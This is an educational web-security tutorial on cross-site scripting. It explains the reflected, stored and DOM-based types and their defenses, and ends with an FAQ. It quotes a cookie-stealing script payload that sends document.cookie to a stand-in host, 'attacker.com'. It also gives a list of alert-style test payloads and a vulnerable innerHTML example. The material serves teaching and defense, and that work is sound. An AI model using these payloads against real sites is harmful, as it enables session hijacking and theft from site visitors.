` and `` into input fields, then check if they appear unescaped in the page source. Use automated scanners like [Burp Suite](/tools/burp-suite) or OWASP ZAP for comprehensive testing across different contexts."}},{"@type":"Question","name":"What is DOM-based XSS and how is it different?","acceptedAnswer":{"@type":"Answer","text":"DOM-based XSS occurs entirely in client-side JavaScript when the page reads attacker-controlled data (like URL fragments) and writes it into the DOM unsafely. Unlike reflected or stored XSS, the payload never reaches the server, making server-side filtering ineffective."}},{"@type":"Question","name":"Can HttpOnly cookies completely prevent XSS damage?","acceptedAnswer":{"@type":"Answer","text":"HttpOnly cookies prevent JavaScript from accessing session tokens via `document.cookie`, which blocks session theft through XSS. However, XSS can still perform actions within the authenticated session, steal page content, or redirect users. Use HttpOnly as one layer alongside CSP and output encoding."}},{"@type":"Question","name":"What XSS prevention method works for JSON APIs?","acceptedAnswer":{"@type":"Answer","text":"Set the `Content-Type: application/json` header on API responses and use `application/json` for requests. The browser will not render JSON as HTML. Also use context-aware encoding, validate input types, and implement CSP on pages that consume the API data."}}]}]}
GO KALI FREE
IntermediateWeb Security

XSS Basics: Cross-Site Scripting Attacks and Defense

Understand Cross-Site Scripting (XSS) vulnerabilities including reflected, stored, and DOM-based types with comprehensive prevention techniques.

#XSS#Cross-Site Scripting#Web Security#JavaScript#CSP

When a Website Turns Against Its Visitors

A forum comment, a search box, a profile field — any place user input is displayed on a page can become an attack vector. An attacker injects <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> into a comment. Every visitor who loads that page silently sends their session cookie to the attacker. This is Cross-Site Scripting (XSS): a client-side code injection where malicious scripts execute in the victim's browser with the full privileges of the legitimate site.

Impact of XSS

XSS can lead to severe consequences including session hijacking (stealing cookies to impersonate users), credential theft through fake forms, keylogging (recording keystrokes), website defacement, malware distribution, and sophisticated phishing attacks.

Types of XSS

Reflected XSS (Non-Persistent)

The injected script is reflected off the web server in the immediate response. It is typically delivered through crafted links and only affects the user who clicks the malicious link.

Example: A search page that displays the search term without sanitization:

http://example.com/search?q=<script>alert('XSS')</script>

Stored XSS (Persistent)

The injected script is permanently stored on the server — in a database, comment section, forum post, or user profile — and executed whenever users view the affected page.

Example: A comment containing <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> would send every visitor's session cookies to the attacker.

DOM-based XSS

The vulnerability exists entirely in client-side JavaScript rather than on the server. The attack payload modifies the Document Object Model (DOM) environment in the victim's browser.

Example: JavaScript that reads from location.hash and writes to innerHTML:

var name = document.location.hash.substring(1);
document.getElementById('greeting').innerHTML = name;

Visiting http://example.com/#<img src=x onerror=alert(1)> triggers XSS without any server interaction.

XSS Attack Vectors

Common Injection Points

Search and query fields, form inputs, URL parameters, HTTP headers (User-Agent, Referer), file upload metadata, JSON and API responses, and WYSIWYG editors are all potential entry points.

Payload Examples

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<svg onload=alert(1)>
<a href="javascript:alert(1)">Click</a>

XSS Prevention

Context-Aware Output Encoding

Encode output based on where it appears in HTML. HTML context requires encoding < > & " '. Attribute context requires encoding " ' and spaces. JavaScript context requires escaping quotes and special characters.

Content Security Policy (CSP)

CSP is a powerful browser security mechanism that restricts which scripts can execute:

Content-Security-Policy: script-src 'self' https://trusted-cdn.com; object-src 'none'

This prevents execution of inline scripts and limits scripts to trusted sources, making XSS significantly harder to exploit.

Input Validation

Whitelist allowed characters, validate input format and type, reject dangerous patterns, and limit input length. However, input validation alone is insufficient — always combine with output encoding.

Framework Protections

Modern frameworks provide built-in XSS protection: React escapes values in JSX by default, Angular sanitizes untrusted values, and Vue.js auto-escapes template expressions. However, methods like innerHTML,v-html, and dangerouslySetInnerHTML bypass these protections.

HttpOnly Cookies

Marking session cookies as HttpOnly prevents JavaScript from accessing them via document.cookie, protecting against session theft through XSS.

Testing for XSS

Manual testing involves identifying input vectors, submitting test payloads, checking if payloads appear in page source, testing with encoding variations, and testing different contexts.

Automated tools: Burp Suite scanner, XSStrike, OWASP ZAP, and Wapiti can detect XSS vulnerabilities.

Defense Checklist

  • [ ] Encode all output based on context
  • [ ] Implement Content Security Policy
  • [ ] Use framework security features
  • [ ] Set HttpOnly and Secure flags on cookies
  • [ ] Validate and sanitize all input
  • [ ] Avoid dangerous JavaScript methods (eval, innerHTML)
  • [ ] Regular security testing and code review
  • XSS remains a critical web security threat ranking consistently in the OWASP Top 10. A defense-in-depth approach combining output encoding, CSP, input validation, and regular testing is essential for prevention.

    References

    {@ref owasp-top10}

    {@ref owasp-testing-guide}

    {@ref owasp-cheatsheet}

    Frequently Asked Questions

    What is Cross-Site Scripting (XSS)?

    XSS is a vulnerability where attackers inject malicious JavaScript into web pages viewed by other users. The script executes in the victim's browser with the same privileges as the legitimate site, enabling session hijacking, data theft, and account compromise.

    What are the three types of XSS attacks?

    Reflected XSS returns the script in the immediate response (e.g., search pages). Stored XSS permanently saves the script on the server (e.g., comments, forums). DOM-based XSS manipulates the client-side JavaScript environment without server interaction.

    How do I prevent XSS in my web applications?

    Use context-aware output encoding for all user data, implement [Content Security Policy (CSP)](/learn/web-security-fundamentals) headers, leverage framework built-in protections (React, Angular), and set HttpOnly flags on cookies. Never rely solely on input validation.

    What is a Content Security Policy and how does it prevent XSS?

    CSP is an HTTP header that restricts which scripts can execute on your page. By whitelisting trusted script sources and blocking inline scripts, CSP makes XSS exploitation significantly harder. A basic policy like `script-src 'self'` only allows scripts from your own domain.

    Is XSS still relevant in modern web frameworks?

    Yes. While frameworks like React and Angular provide automatic escaping, developers can bypass these protections using methods like `innerHTML`, `v-html`, and `dangerouslySetInnerHTML`. DOM-based XSS remains common even in modern single-page applications.

    What is the impact of a successful XSS attack?

    Attackers can steal session cookies to impersonate users, capture keystrokes including passwords, redirect users to phishing pages, deface websites, perform actions on behalf of the victim, and distribute malware. Stored XSS affects every user who views the compromised page.

    How do I test for XSS vulnerabilities?

    Submit test payloads like `<script>alert(1)</script>` and `<img src=x onerror=alert(1)>` into input fields, then check if they appear unescaped in the page source. Use automated scanners like [Burp Suite](/tools/burp-suite) or OWASP ZAP for comprehensive testing across different contexts.

    What is DOM-based XSS and how is it different?

    DOM-based XSS occurs entirely in client-side JavaScript when the page reads attacker-controlled data (like URL fragments) and writes it into the DOM unsafely. Unlike reflected or stored XSS, the payload never reaches the server, making server-side filtering ineffective.

    Can HttpOnly cookies completely prevent XSS damage?

    HttpOnly cookies prevent JavaScript from accessing session tokens via `document.cookie`, which blocks session theft through XSS. However, XSS can still perform actions within the authenticated session, steal page content, or redirect users. Use HttpOnly as one layer alongside CSP and output encoding.

    What XSS prevention method works for JSON APIs?

    Set the `Content-Type: application/json` header on API responses and use `application/json` for requests. The browser will not render JSON as HTML. Also use context-aware encoding, validate input types, and implement CSP on pages that consume the API data.